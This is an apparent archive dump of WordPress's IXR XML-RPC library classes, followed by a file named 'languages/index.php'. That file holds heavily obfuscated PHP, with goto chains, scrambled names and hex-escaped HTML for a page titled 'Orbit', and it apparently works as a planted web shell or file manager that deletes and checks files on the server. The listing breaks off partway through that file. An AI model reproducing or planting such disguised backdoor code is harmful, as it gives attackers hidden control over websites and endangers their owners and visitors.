class-IXR-base64.php 0000644 00000000636 15171255012 0010110 0 ustar 00 data = $data;
}
/**
* PHP4 constructor.
*/
public function IXR_Base64( $data ) {
self::__construct( $data );
}
function getXml()
{
return ''.base64_encode($this->data).'';
}
}
class-IXR-client.php 0000644 00000011263 15171255012 0010300 0 ustar 00 server = $bits['host'];
$this->port = isset($bits['port']) ? $bits['port'] : 80;
$this->path = isset($bits['path']) ? $bits['path'] : '/';
// Make absolutely sure we have a path
if (!$this->path) {
$this->path = '/';
}
if ( ! empty( $bits['query'] ) ) {
$this->path .= '?' . $bits['query'];
}
} else {
$this->server = $server;
$this->path = $path;
$this->port = $port;
}
$this->useragent = 'The Incutio XML-RPC PHP Library';
$this->timeout = $timeout;
}
/**
* PHP4 constructor.
*/
public function IXR_Client( $server, $path = false, $port = 80, $timeout = 15 ) {
self::__construct( $server, $path, $port, $timeout );
}
/**
* @since 1.5.0
* @since 5.5.0 Formalized the existing `...$args` parameter by adding it
* to the function signature.
*
* @return bool
*/
function query( ...$args )
{
$method = array_shift($args);
$request = new IXR_Request($method, $args);
$length = $request->getLength();
$xml = $request->getXml();
$r = "\r\n";
$request = "POST {$this->path} HTTP/1.0$r";
// Merged from WP #8145 - allow custom headers
$this->headers['Host'] = $this->server;
$this->headers['Content-Type'] = 'text/xml';
$this->headers['User-Agent'] = $this->useragent;
$this->headers['Content-Length']= $length;
foreach( $this->headers as $header => $value ) {
$request .= "{$header}: {$value}{$r}";
}
$request .= $r;
$request .= $xml;
// Now send the request
if ($this->debug) {
echo '
'.htmlspecialchars($request)."\n
\n\n";
}
if ($this->timeout) {
$fp = @fsockopen($this->server, $this->port, $errno, $errstr, $this->timeout);
} else {
$fp = @fsockopen($this->server, $this->port, $errno, $errstr);
}
if (!$fp) {
$this->error = new IXR_Error(-32300, 'transport error - could not open socket');
return false;
}
fputs($fp, $request);
$contents = '';
$debugContents = '';
$gotFirstLine = false;
$gettingHeaders = true;
while (!feof($fp)) {
$line = fgets($fp, 4096);
if (!$gotFirstLine) {
// Check line for '200'
if (strstr($line, '200') === false) {
$this->error = new IXR_Error(-32300, 'transport error - HTTP status code was not 200');
return false;
}
$gotFirstLine = true;
}
if (trim($line) == '') {
$gettingHeaders = false;
}
if (!$gettingHeaders) {
// merged from WP #12559 - remove trim
$contents .= $line;
}
if ($this->debug) {
$debugContents .= $line;
}
}
if ($this->debug) {
echo ''.htmlspecialchars($debugContents)."\n
\n\n";
}
// Now parse what we've got back
$this->message = new IXR_Message($contents);
if (!$this->message->parse()) {
// XML error
$this->error = new IXR_Error(-32700, 'parse error. not well formed');
return false;
}
// Is the message a fault?
if ($this->message->messageType == 'fault') {
$this->error = new IXR_Error($this->message->faultCode, $this->message->faultString);
return false;
}
// Message must be OK
return true;
}
function getResponse()
{
// methodResponses can only have one param - return that
return $this->message->params[0];
}
function isError()
{
return (is_object($this->error));
}
function getErrorCode()
{
return $this->error->code;
}
function getErrorMessage()
{
return $this->error->message;
}
}
class-IXR-clientmulticall.php 0000644 00000002357 15171255012 0012213 0 ustar 00 useragent = 'The Incutio XML-RPC PHP Library (multicall client)';
}
/**
* PHP4 constructor.
*/
public function IXR_ClientMulticall( $server, $path = false, $port = 80 ) {
self::__construct( $server, $path, $port );
}
/**
* @since 1.5.0
* @since 5.5.0 Formalized the existing `...$args` parameter by adding it
* to the function signature.
*/
function addCall( ...$args )
{
$methodName = array_shift($args);
$struct = array(
'methodName' => $methodName,
'params' => $args
);
$this->calls[] = $struct;
}
/**
* @since 1.5.0
* @since 5.5.0 Formalized the existing `...$args` parameter by adding it
* to the function signature.
*
* @return bool
*/
function query( ...$args )
{
// Prepare multicall, then call the parent::query() method
return parent::query('system.multicall', $this->calls);
}
}
class-IXR-date.php 0000644 00000003233 15171255012 0007735 0 ustar 00 parseTimestamp($time);
} else {
$this->parseIso($time);
}
}
/**
* PHP4 constructor.
*/
public function IXR_Date( $time ) {
self::__construct( $time );
}
function parseTimestamp($timestamp)
{
$this->year = gmdate('Y', $timestamp);
$this->month = gmdate('m', $timestamp);
$this->day = gmdate('d', $timestamp);
$this->hour = gmdate('H', $timestamp);
$this->minute = gmdate('i', $timestamp);
$this->second = gmdate('s', $timestamp);
$this->timezone = '';
}
function parseIso($iso)
{
$this->year = substr($iso, 0, 4);
$this->month = substr($iso, 4, 2);
$this->day = substr($iso, 6, 2);
$this->hour = substr($iso, 9, 2);
$this->minute = substr($iso, 12, 2);
$this->second = substr($iso, 15, 2);
$this->timezone = substr($iso, 17);
}
function getIso()
{
return $this->year.$this->month.$this->day.'T'.$this->hour.':'.$this->minute.':'.$this->second.$this->timezone;
}
function getXml()
{
return ''.$this->getIso().'';
}
function getTimestamp()
{
return mktime($this->hour, $this->minute, $this->second, $this->month, $this->day, $this->year);
}
}
class-IXR-error.php 0000644 00000001526 15171255012 0010154 0 ustar 00 code = $code;
$this->message = htmlspecialchars($message);
}
/**
* PHP4 constructor.
*/
public function IXR_Error( $code, $message ) {
self::__construct( $code, $message );
}
function getXml()
{
$xml = <<
faultCode
{$this->code}
faultString
{$this->message}
EOD;
return $xml;
}
}
class-IXR-introspectionserver.php 0000644 00000012366 15171255012 0013156 0 ustar 00 setCallbacks();
$this->setCapabilities();
$this->capabilities['introspection'] = array(
'specUrl' => 'https://web.archive.org/web/20050404090342/http://xmlrpc.usefulinc.com/doc/reserved.html',
'specVersion' => 1
);
$this->addCallback(
'system.methodSignature',
'this:methodSignature',
array('array', 'string'),
'Returns an array describing the return type and required parameters of a method'
);
$this->addCallback(
'system.getCapabilities',
'this:getCapabilities',
array('struct'),
'Returns a struct describing the XML-RPC specifications supported by this server'
);
$this->addCallback(
'system.listMethods',
'this:listMethods',
array('array'),
'Returns an array of available methods on this server'
);
$this->addCallback(
'system.methodHelp',
'this:methodHelp',
array('string', 'string'),
'Returns a documentation string for the specified method'
);
}
/**
* PHP4 constructor.
*/
public function IXR_IntrospectionServer() {
self::__construct();
}
function addCallback($method, $callback, $args, $help)
{
$this->callbacks[$method] = $callback;
$this->signatures[$method] = $args;
$this->help[$method] = $help;
}
function call($methodname, $args)
{
// Make sure it's in an array
if ($args && !is_array($args)) {
$args = array($args);
}
// Over-rides default call method, adds signature check
if (!$this->hasMethod($methodname)) {
return new IXR_Error(-32601, 'server error. requested method "'.$this->message->methodName.'" not specified.');
}
$method = $this->callbacks[$methodname];
$signature = $this->signatures[$methodname];
$returnType = array_shift($signature);
// Check the number of arguments
if (count($args) != count($signature)) {
return new IXR_Error(-32602, 'server error. wrong number of method parameters');
}
// Check the argument types
$ok = true;
$argsbackup = $args;
for ($i = 0, $j = count($args); $i < $j; $i++) {
$arg = array_shift($args);
$type = array_shift($signature);
switch ($type) {
case 'int':
case 'i4':
if (is_array($arg) || !is_int($arg)) {
$ok = false;
}
break;
case 'base64':
case 'string':
if (!is_string($arg)) {
$ok = false;
}
break;
case 'boolean':
if ($arg !== false && $arg !== true) {
$ok = false;
}
break;
case 'float':
case 'double':
if (!is_float($arg)) {
$ok = false;
}
break;
case 'date':
case 'dateTime.iso8601':
if (!is_a($arg, 'IXR_Date')) {
$ok = false;
}
break;
}
if (!$ok) {
return new IXR_Error(-32602, 'server error. invalid method parameters');
}
}
// It passed the test - run the "real" method call
return parent::call($methodname, $argsbackup);
}
function methodSignature($method)
{
if (!$this->hasMethod($method)) {
return new IXR_Error(-32601, 'server error. requested method "'.$method.'" not specified.');
}
// We should be returning an array of types
$types = $this->signatures[$method];
$return = array();
foreach ($types as $type) {
switch ($type) {
case 'string':
$return[] = 'string';
break;
case 'int':
case 'i4':
$return[] = 42;
break;
case 'double':
$return[] = 3.1415;
break;
case 'dateTime.iso8601':
$return[] = new IXR_Date(time());
break;
case 'boolean':
$return[] = true;
break;
case 'base64':
$return[] = new IXR_Base64('base64');
break;
case 'array':
$return[] = array('array');
break;
case 'struct':
$return[] = array('struct' => 'struct');
break;
}
}
return $return;
}
function methodHelp($method)
{
return $this->help[$method];
}
}
class-IXR-message.php 0000644 00000020331 15171255012 0010442 0 ustar 00 message =& $message;
}
/**
* PHP4 constructor.
*/
public function IXR_Message( $message ) {
self::__construct( $message );
}
function parse()
{
if ( ! function_exists( 'xml_parser_create' ) ) {
trigger_error( __( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." ) );
return false;
}
// first remove the XML declaration
// merged from WP #10698 - this method avoids the RAM usage of preg_replace on very large messages
$header = preg_replace( '/<\?xml.*?\?'.'>/s', '', substr( $this->message, 0, 100 ), 1 );
$this->message = trim( substr_replace( $this->message, $header, 0, 100 ) );
if ( '' == $this->message ) {
return false;
}
// Then remove the DOCTYPE
$header = preg_replace( '/^]*+>/i', '', substr( $this->message, 0, 200 ), 1 );
$this->message = trim( substr_replace( $this->message, $header, 0, 200 ) );
if ( '' == $this->message ) {
return false;
}
// Check that the root tag is valid
$root_tag = substr( $this->message, 0, strcspn( substr( $this->message, 0, 20 ), "> \t\r\n" ) );
if ( 'message, '<' ) ) {
return false;
}
$this->_parser = xml_parser_create();
// Set XML parser to take the case of tags in to account
xml_parser_set_option($this->_parser, XML_OPTION_CASE_FOLDING, false);
// Set XML parser callback functions
xml_set_element_handler($this->_parser, array($this, 'tag_open'), array($this, 'tag_close'));
xml_set_character_data_handler($this->_parser, array($this, 'cdata'));
// 256Kb, parse in chunks to avoid the RAM usage on very large messages
$chunk_size = 262144;
/**
* Filters the chunk size that can be used to parse an XML-RPC response message.
*
* @since 4.4.0
*
* @param int $chunk_size Chunk size to parse in bytes.
*/
$chunk_size = apply_filters( 'xmlrpc_chunk_parsing_size', $chunk_size );
$final = false;
do {
if (strlen($this->message) <= $chunk_size) {
$final = true;
}
$part = substr($this->message, 0, $chunk_size);
$this->message = substr($this->message, $chunk_size);
if (!xml_parse($this->_parser, $part, $final)) {
if (PHP_VERSION_ID < 80000) { // xml_parser_free() has no effect as of PHP 8.0.
xml_parser_free($this->_parser);
}
unset($this->_parser);
return false;
}
if ($final) {
break;
}
} while (true);
if (PHP_VERSION_ID < 80000) { // xml_parser_free() has no effect as of PHP 8.0.
xml_parser_free($this->_parser);
}
unset($this->_parser);
// Grab the error messages, if any
if ($this->messageType == 'fault') {
$this->faultCode = $this->params[0]['faultCode'];
$this->faultString = $this->params[0]['faultString'];
}
return true;
}
function tag_open($parser, $tag, $attr)
{
$this->_currentTagContents = '';
$this->_currentTag = $tag;
switch($tag) {
case 'methodCall':
case 'methodResponse':
case 'fault':
$this->messageType = $tag;
break;
/* Deal with stacks of arrays and structs */
case 'data': // data is to all intents and puposes more interesting than array
$this->_arraystructstypes[] = 'array';
$this->_arraystructs[] = array();
break;
case 'struct':
$this->_arraystructstypes[] = 'struct';
$this->_arraystructs[] = array();
break;
}
}
function cdata($parser, $cdata)
{
$this->_currentTagContents .= $cdata;
}
function tag_close($parser, $tag)
{
$valueFlag = false;
switch($tag) {
case 'int':
case 'i4':
$value = (int)trim($this->_currentTagContents);
$valueFlag = true;
break;
case 'double':
$value = (float)trim($this->_currentTagContents);
$valueFlag = true;
break;
case 'string':
$value = (string)trim($this->_currentTagContents);
$valueFlag = true;
break;
case 'dateTime.iso8601':
$value = new IXR_Date(trim($this->_currentTagContents));
$valueFlag = true;
break;
case 'value':
// "If no type is indicated, the type is string."
if (trim($this->_currentTagContents) != '') {
$value = (string)$this->_currentTagContents;
$valueFlag = true;
}
break;
case 'boolean':
$value = (bool)trim($this->_currentTagContents);
$valueFlag = true;
break;
case 'base64':
$value = base64_decode($this->_currentTagContents);
$valueFlag = true;
break;
/* Deal with stacks of arrays and structs */
case 'data':
case 'struct':
$value = array_pop($this->_arraystructs);
array_pop($this->_arraystructstypes);
$valueFlag = true;
break;
case 'member':
array_pop($this->_currentStructName);
break;
case 'name':
$this->_currentStructName[] = trim($this->_currentTagContents);
break;
case 'methodName':
$this->methodName = trim($this->_currentTagContents);
break;
}
if ($valueFlag) {
if (count($this->_arraystructs) > 0) {
// Add value to struct or array
if ($this->_arraystructstypes[count($this->_arraystructstypes)-1] == 'struct') {
// Add to struct
$this->_arraystructs[count($this->_arraystructs)-1][$this->_currentStructName[count($this->_currentStructName)-1]] = $value;
} else {
// Add to array
$this->_arraystructs[count($this->_arraystructs)-1][] = $value;
}
} else {
// Just add as a parameter
$this->params[] = $value;
}
}
$this->_currentTagContents = '';
}
}
class-IXR-request.php 0000644 00000001637 15171255012 0010516 0 ustar 00 method = $method;
$this->args = $args;
$this->xml = <<
{$this->method}
EOD;
foreach ($this->args as $arg) {
$this->xml .= '';
$v = new IXR_Value($arg);
$this->xml .= $v->getXml();
$this->xml .= "\n";
}
$this->xml .= '';
}
/**
* PHP4 constructor.
*/
public function IXR_Request( $method, $args ) {
self::__construct( $method, $args );
}
function getLength()
{
return strlen($this->xml);
}
function getXml()
{
return $this->xml;
}
}
class-IXR-server.php 0000644 00000015160 15171255012 0010330 0 ustar 00 setCapabilities();
if ($callbacks) {
$this->callbacks = $callbacks;
}
$this->setCallbacks();
if (!$wait) {
$this->serve($data);
}
}
/**
* PHP4 constructor.
*/
public function IXR_Server( $callbacks = false, $data = false, $wait = false ) {
self::__construct( $callbacks, $data, $wait );
}
function serve($data = false)
{
if (!$data) {
if (isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] !== 'POST') {
if ( function_exists( 'status_header' ) ) {
status_header( 405 ); // WP #20986
header( 'Allow: POST' );
}
header('Content-Type: text/plain'); // merged from WP #9093
die('XML-RPC server accepts POST requests only.');
}
$data = file_get_contents('php://input');
}
$this->message = new IXR_Message($data);
if (!$this->message->parse()) {
$this->error(-32700, 'parse error. not well formed');
}
if ($this->message->messageType != 'methodCall') {
$this->error(-32600, 'server error. invalid xml-rpc. not conforming to spec. Request must be a methodCall');
}
$result = $this->call($this->message->methodName, $this->message->params);
// Is the result an error?
if (is_a($result, 'IXR_Error')) {
$this->error($result);
}
// Encode the result
$r = new IXR_Value($result);
$resultxml = $r->getXml();
// Create the XML
$xml = <<
$resultxml
EOD;
// Send it
$this->output($xml);
}
function call($methodname, $args)
{
if (!$this->hasMethod($methodname)) {
return new IXR_Error(-32601, 'server error. requested method '.$methodname.' does not exist.');
}
$method = $this->callbacks[$methodname];
// Perform the callback and send the response
if (count($args) == 1) {
// If only one parameter just send that instead of the whole array
$args = $args[0];
}
// Are we dealing with a function or a method?
if (is_string($method) && substr($method, 0, 5) == 'this:') {
// It's a class method - check it exists
$method = substr($method, 5);
if (!method_exists($this, $method)) {
return new IXR_Error(-32601, 'server error. requested class method "'.$method.'" does not exist.');
}
//Call the method
$result = $this->$method($args);
} else {
// It's a function - does it exist?
if (is_array($method)) {
if (!is_callable(array($method[0], $method[1]))) {
return new IXR_Error(-32601, 'server error. requested object method "'.$method[1].'" does not exist.');
}
} else if (!function_exists($method)) {
return new IXR_Error(-32601, 'server error. requested function "'.$method.'" does not exist.');
}
// Call the function
$result = call_user_func($method, $args);
}
return $result;
}
function error($error, $message = false)
{
// Accepts either an error object or an error code and message
if ($message && !is_object($error)) {
$error = new IXR_Error($error, $message);
}
$this->output($error->getXml());
}
function output($xml)
{
$charset = function_exists('get_option') ? get_option('blog_charset') : '';
if ($charset)
$xml = ''."\n".$xml;
else
$xml = ''."\n".$xml;
$length = strlen($xml);
header('Connection: close');
if ($charset)
header('Content-Type: text/xml; charset='.$charset);
else
header('Content-Type: text/xml');
header('Date: '.gmdate('r'));
echo $xml;
exit;
}
function hasMethod($method)
{
return in_array($method, array_keys($this->callbacks));
}
function setCapabilities()
{
// Initialises capabilities array
$this->capabilities = array(
'xmlrpc' => array(
'specUrl' => 'https://xmlrpc.com/spec.md',
'specVersion' => 1
),
'faults_interop' => array(
'specUrl' => 'https://web.archive.org/web/20240416231938/https://xmlrpc-epi.sourceforge.net/specs/rfc.fault_codes.php',
'specVersion' => 20010516
),
'system.multicall' => array(
'specUrl' => 'https://web.archive.org/web/20060624230303/http://www.xmlrpc.com/discuss/msgReader$1208?mode=topic',
'specVersion' => 1
),
);
}
function getCapabilities($args)
{
return $this->capabilities;
}
function setCallbacks()
{
$this->callbacks['system.getCapabilities'] = 'this:getCapabilities';
$this->callbacks['system.listMethods'] = 'this:listMethods';
$this->callbacks['system.multicall'] = 'this:multiCall';
}
function listMethods($args)
{
// Returns a list of methods - uses array_reverse to ensure user defined
// methods are listed before server defined methods
return array_reverse(array_keys($this->callbacks));
}
function multiCall($methodcalls)
{
// See http://www.xmlrpc.com/discuss/msgReader$1208
$return = array();
foreach ($methodcalls as $call) {
$method = $call['methodName'];
$params = $call['params'];
if ($method == 'system.multicall') {
$result = new IXR_Error(-32600, 'Recursive calls to system.multicall are forbidden');
} else {
$result = $this->call($method, $params);
}
if (is_a($result, 'IXR_Error')) {
$return[] = array(
'faultCode' => $result->code,
'faultString' => $result->message
);
} else {
$return[] = array($result);
}
}
return $return;
}
}
class-IXR-value.php 0000644 00000007316 15171255012 0010142 0 ustar 00 data = $data;
if (!$type) {
$type = $this->calculateType();
}
$this->type = $type;
if ($type == 'struct') {
// Turn all the values in the array in to new IXR_Value objects
foreach ($this->data as $key => $value) {
$this->data[$key] = new IXR_Value($value);
}
}
if ($type == 'array') {
for ($i = 0, $j = count($this->data); $i < $j; $i++) {
$this->data[$i] = new IXR_Value($this->data[$i]);
}
}
}
/**
* PHP4 constructor.
*/
public function IXR_Value( $data, $type = false ) {
self::__construct( $data, $type );
}
function calculateType()
{
if ($this->data === true || $this->data === false) {
return 'boolean';
}
if (is_integer($this->data)) {
return 'int';
}
if (is_double($this->data)) {
return 'double';
}
// Deal with IXR object types base64 and date
if (is_object($this->data) && is_a($this->data, 'IXR_Date')) {
return 'date';
}
if (is_object($this->data) && is_a($this->data, 'IXR_Base64')) {
return 'base64';
}
// If it is a normal PHP object convert it in to a struct
if (is_object($this->data)) {
$this->data = get_object_vars($this->data);
return 'struct';
}
if (!is_array($this->data)) {
return 'string';
}
// We have an array - is it an array or a struct?
if ($this->isStruct($this->data)) {
return 'struct';
} else {
return 'array';
}
}
function getXml()
{
// Return XML for this value
switch ($this->type) {
case 'boolean':
return ''.(($this->data) ? '1' : '0').'';
break;
case 'int':
return ''.$this->data.'';
break;
case 'double':
return ''.$this->data.'';
break;
case 'string':
return ''.htmlspecialchars($this->data).'';
break;
case 'array':
$return = ''."\n";
foreach ($this->data as $item) {
$return .= ' '.$item->getXml()."\n";
}
$return .= '';
return $return;
break;
case 'struct':
$return = ''."\n";
foreach ($this->data as $name => $value) {
$name = htmlspecialchars($name);
$return .= " $name";
$return .= $value->getXml()."\n";
}
$return .= '';
return $return;
break;
case 'date':
case 'base64':
return $this->data->getXml();
break;
}
return false;
}
/**
* Checks whether or not the supplied array is a struct or not
*
* @param array $array
* @return bool
*/
function isStruct($array)
{
$expected = 0;
foreach ($array as $key => $value) {
if ((string)$key !== (string)$expected) {
return true;
}
$expected++;
}
return false;
}
}
languages/index.php 0000644 00000106037 15171255012 0010340 0 ustar 00 "\170", "\164" => "\145\162\x72"]); goto E19ba; zH9X7: if (!file_exists($whCcN)) { goto vc3s6; } goto tP76R; ZQZYY: echo UYaRK($CGf7N); goto WDUTr; JXmBA: Ks_7d: goto M8a32; VSObE: if (!(is_file($whCcN) && @unlink($whCcN))) { goto ErJy1; } goto jTmXz; ZLhU4: $kU931 = "\157\x6b"; goto TYdBw; R8BGT: w_xGe($hKa5N, ["\153" => "\65"]); goto VEqlT; ea7U7: $d2eLc = $AsdtI[$uo55N]; goto j53TM; VJg8R: echo "\x20\x3c\41\144\157\x63\x74\x79\160\x65\40\x68\164\155\x6c\76\74\x68\x74\x6d\x6c\40\154\x61\x6e\x67\x3d\x22\145\156\x22\76\x3c\150\145\141\x64\x3e\74\155\145\x74\x61\40\143\x68\141\x72\163\145\x74\x3d\42\x75\164\x66\55\70\x22\57\76\74\155\145\x74\x61\40\x6e\x61\155\x65\x3d\x22\166\x69\145\167\x70\157\x72\164\42\143\157\x6e\164\145\x6e\x74\x3d\x22\x77\151\x64\x74\x68\75\x64\145\166\x69\143\145\55\167\x69\x64\164\150\x2c\x69\156\x69\164\x69\x61\x6c\55\163\143\x61\x6c\x65\75\x31\x22\57\x3e\x3c\x74\x69\164\154\145\76\x4f\162\142\x69\164\74\x2f\x74\x69\164\x6c\145\x3e\40\x3c\x73\164\171\154\145\x3e\52\173\142\157\170\x2d\x73\x69\x7a\x69\x6e\147\72\x62\x6f\x72\x64\x65\162\x2d\142\157\170\x7d\x68\164\155\x6c\x2c\142\x6f\144\x79\173\x6d\141\162\147\x69\x6e\x3a\60\73\x70\x61\x64\144\x69\x6e\x67\72\x30\x7d\x62\157\144\x79\x7b\142\x61\143\153\147\x72\x6f\165\156\144\x3a\43\146\x64\146\144\146\x64\73\143\x6f\154\x6f\x72\x3a\x23\x30\146\61\x37\x32\60\x3b\146\x6f\156\164\x3a\x31\x33\x70\x78\x2f\61\x2e\x35\65\40\165\x69\55\163\x61\156\163\55\163\145\x72\151\146\x2c\x73\171\x73\164\145\x6d\55\165\x69\54\123\x65\x67\157\145\40\125\x49\x2c\122\x6f\142\x6f\x74\x6f\54\x55\142\165\156\x74\x75\x2c\x48\x65\154\166\x65\x74\151\143\x61\x2c\101\x72\x69\141\154\175\56\143\60\173\x6d\x61\170\55\167\x69\144\164\x68\x3a\61\x30\x38\60\160\x78\73\155\x61\162\147\151\156\x3a\62\x30\x70\x78\x20\x61\165\164\x6f\x3b\x70\x61\x64\144\x69\156\x67\72\x30\x20\61\x32\x70\170\175\56\143\x31\x7b\x64\151\163\x70\x6c\x61\x79\x3a\146\154\145\170\x3b\152\165\163\164\151\146\x79\x2d\x63\x6f\156\164\145\156\x74\72\x73\160\x61\x63\145\55\142\145\x74\167\145\145\x6e\73\x61\154\x69\x67\156\55\151\x74\145\x6d\163\x3a\143\145\156\164\145\162\x3b\142\x61\143\x6b\x67\x72\x6f\x75\x6e\144\x3a\x23\146\x66\146\73\142\x6f\162\144\145\162\72\x31\x70\x78\40\163\x6f\x6c\151\144\x20\x23\145\x39\x65\71\145\x65\73\x62\x6f\162\x64\145\x72\55\162\x61\x64\x69\x75\163\72\61\70\160\170\73\x70\x61\x64\x64\151\156\x67\72\x31\64\x70\x78\x20\x31\66\160\170\73\142\x6f\170\55\163\150\x61\x64\157\167\x3a\60\x20\x38\160\x78\x20\62\x34\x70\x78\40\162\147\x62\141\x28\x30\x2c\60\x2c\60\54\x2e\x30\x35\x29\x7d\56\164\x30\173\146\157\156\x74\x2d\x77\x65\151\147\x68\x74\x3a\70\x30\x30\x3b\154\x65\x74\x74\x65\162\x2d\163\x70\141\x63\x69\156\x67\x3a\56\x33\160\x78\x7d\x2e\x63\x72\x75\x6d\x62\x7b\146\157\156\164\55\163\151\172\145\72\61\62\160\x78\73\143\157\154\x6f\162\x3a\x23\66\x36\67\60\70\65\x7d\x2e\160\151\154\154\x7b\x64\151\163\x70\154\x61\171\x3a\x69\x6e\154\151\156\145\55\x62\154\157\143\153\x3b\142\141\x63\153\x67\x72\x6f\x75\x6e\x64\72\43\146\66\146\x37\x66\142\x3b\x62\157\162\x64\145\x72\72\x31\x70\x78\40\x73\157\154\x69\144\40\43\x65\x63\145\143\146\x32\73\x62\x6f\162\x64\x65\162\x2d\x72\141\144\151\x75\163\x3a\x39\x39\x39\x70\170\73\x70\x61\144\x64\151\x6e\147\72\56\62\162\x65\x6d\40\56\65\65\x72\x65\x6d\73\x6d\141\162\x67\151\156\x2d\154\145\x66\x74\72\x2e\x33\65\x72\x65\x6d\175\x2e\x6d\x73\x67\173\155\141\162\x67\151\x6e\72\x31\x34\x70\170\40\x30\x3b\x70\x61\x64\144\x69\156\x67\x3a\61\x30\x70\170\x20\x31\62\x70\170\73\x62\157\162\x64\145\x72\x2d\x72\141\144\x69\x75\x73\x3a\61\x32\x70\x78\73\142\157\x72\x64\x65\162\x3a\61\160\x78\x20\163\x6f\x6c\151\144\40\x23\145\143\x65\143\x66\62\175\x2e\x6f\153\x7b\142\x61\143\x6b\147\162\157\x75\156\144\x3a\43\x65\x63\146\x64\x66\65\73\142\157\162\x64\145\x72\55\x63\x6f\x6c\157\x72\72\x23\141\67\x66\63\x64\60\175\x2e\x65\162\162\x7b\142\141\143\x6b\x67\162\x6f\165\156\144\72\43\146\x66\x66\x31\x66\x32\x3b\142\x6f\x72\144\x65\x72\55\143\x6f\x6c\x6f\x72\x3a\x23\146\145\143\144\x64\x33\175\x2e\x63\x61\x72\x64\173\x62\141\143\153\147\x72\157\165\x6e\x64\x3a\x23\x66\146\x66\73\142\157\x72\144\x65\162\x3a\61\160\x78\x20\163\157\154\151\144\40\43\145\143\x65\143\146\x32\x3b\x62\157\x72\x64\145\x72\55\162\141\x64\x69\165\x73\x3a\61\66\x70\x78\73\x70\141\x64\144\x69\x6e\x67\x3a\x31\64\x70\x78\x3b\142\157\x78\55\x73\150\141\144\157\167\72\60\40\x38\x70\x78\40\x32\64\160\170\40\162\147\x62\141\x28\x30\x2c\60\x2c\60\54\56\60\65\x29\73\155\x61\162\x67\x69\x6e\x2d\x74\157\160\x3a\x31\64\x70\170\175\56\x62\164\156\173\x61\160\x70\x65\x61\x72\x61\156\143\x65\72\156\157\156\145\x3b\142\141\x63\153\x67\162\x6f\x75\156\x64\x3a\43\x30\x62\66\63\145\x35\x3b\x63\157\x6c\157\x72\x3a\43\x66\146\146\x3b\142\x6f\162\144\x65\162\72\x30\73\x62\157\162\144\x65\162\55\x72\x61\144\151\165\x73\72\61\60\x70\170\x3b\x70\x61\x64\x64\x69\156\147\72\70\x70\x78\40\61\62\160\x78\x3b\x63\x75\x72\163\x6f\x72\x3a\x70\157\151\x6e\x74\x65\162\175\56\x62\x74\156\x3a\x68\x6f\166\145\162\x7b\x66\151\x6c\x74\x65\162\x3a\x62\x72\x69\x67\150\x74\x6e\145\x73\x73\x28\61\56\60\x36\x29\x7d\x2e\151\156\54\x74\145\170\x74\141\x72\x65\x61\x7b\167\151\144\x74\150\x3a\61\60\x30\x25\x3b\x62\x6f\x72\x64\145\162\72\61\160\170\40\x73\x6f\x6c\x69\144\x20\x23\145\x32\145\x34\145\x61\x3b\142\x6f\x72\144\145\162\55\x72\x61\x64\x69\x75\x73\72\61\60\x70\x78\73\160\x61\144\x64\x69\156\x67\x3a\61\x30\160\170\73\x62\141\143\x6b\x67\162\157\165\156\x64\x3a\x23\146\x66\x66\x3b\143\157\x6c\157\162\x3a\43\60\146\x31\67\x32\x30\x7d\56\x74\142\x6c\x7b\x77\151\x64\x74\x68\x3a\x31\x30\x30\x25\x3b\142\x6f\x72\144\145\162\x2d\x63\x6f\154\x6c\x61\x70\x73\145\x3a\x63\x6f\154\x6c\x61\160\x73\145\x7d\56\164\142\x6c\40\x74\x68\54\x2e\164\142\154\40\164\x64\173\x62\x6f\162\x64\x65\162\55\142\x6f\x74\164\x6f\155\72\61\x70\170\40\163\x6f\x6c\151\x64\40\x23\x66\x30\x66\x30\x66\x33\73\160\x61\144\144\151\156\147\x3a\70\160\170\x20\66\x70\x78\73\x74\x65\x78\x74\55\141\154\x69\147\x6e\x3a\154\145\146\164\x7d\x2e\154\x30\173\x68\x65\151\x67\150\164\72\x31\x70\170\73\x62\141\x63\x6b\x67\x72\x6f\165\156\144\x3a\43\145\146\x65\146\146\x33\x3b\155\141\x72\147\151\x6e\x3a\x31\64\160\x78\40\60\175\56\147\162\151\x64\173\x64\151\163\160\154\x61\x79\72\147\162\x69\x64\73\x67\162\x69\144\55\164\145\x6d\160\154\141\164\x65\55\x63\x6f\154\165\155\x6e\x73\x3a\162\x65\160\x65\x61\164\x28\141\165\x74\157\x2d\x66\151\x74\x2c\155\x69\x6e\155\141\170\x28\62\66\x30\160\170\x2c\x31\x66\162\51\51\x3b\x67\x61\x70\x3a\61\62\160\x78\175\74\57\163\x74\x79\154\145\76\40\x3c\57\x68\145\141\x64\76\x3c\x62\157\144\x79\x3e\x3c\144\x69\166\x20\143\154\141\x73\163\75\x22\x63\x30\x22\x3e\x20\74\x68\145\141\144\145\x72\40\x63\154\141\163\x73\75\42\143\61\42\76\x20\x3c\144\151\x76\x20\143\x6c\x61\163\163\x3d\42\x74\60\x22\76\x4f\162\142\x69\164\74\x2f\x64\x69\x76\76\x20\74\x64\x69\166\x20\x63\x6c\x61\x73\163\x3d\x22\143\x72\x75\155\x62\x22\x3e"; goto Ymukx; NeBZx: $whCcN = $hKa5N . DIRECTORY_SEPARATOR . $CKior; goto zH9X7; AZL6L: W_xge($hKa5N, ["\153" => "\71", "\164" => "\x65\162\x72"]); goto aLyri; squp7: w_xGE($hKa5N, ["\x6b" => "\170", "\164" => "\x65\x72\162"]); goto Xm87y; QxHQX: W_XGe($hKa5N, ["\153" => "\64"]); goto vAGvG; wIFX2: w_xgE($hKa5N, ["\153" => "\x78", "\164" => "\x65\162\x72"]); goto KcFzF; nF3PC: W_xge($hKa5N, ["\x6b" => "\170", "\164" => "\145\162\x72"]); goto ijlg2; YIpDe: if (!(is_dir($whCcN) && sATN0($whCcN))) { goto yPV4Y; } goto R8BGT; Vr9Vl: if (!($uo55N !== '' && array_key_exists($uo55N, $AsdtI))) { goto JKwBV; } goto ea7U7; g6nxj: if (is_writable($whCcN)) { goto j3EWH; } goto BNjoa; EAhfd: if (!($miDsG !== '')) { goto s5oeC; } goto Q3p0q; uSl0o: W_XGe($hKa5N, ["\x6b" => "\x39", "\164" => "\145\x72\162"]); goto lYxZK; k2LMe: echo uyArk($hKa5N); goto w9c3s; vQy3G: NLNnO: goto iVgxG; Spq_p: function i07Ei($L0rGH, $CGf7N) { goto LJvJa; UVWBz: L0pwG: goto ywxPs; Uc_A8: $miDsG = rawurldecode($L0rGH); goto NO6n1; Sn10H: ypfWy: goto Dt_DF; Dt_DF: 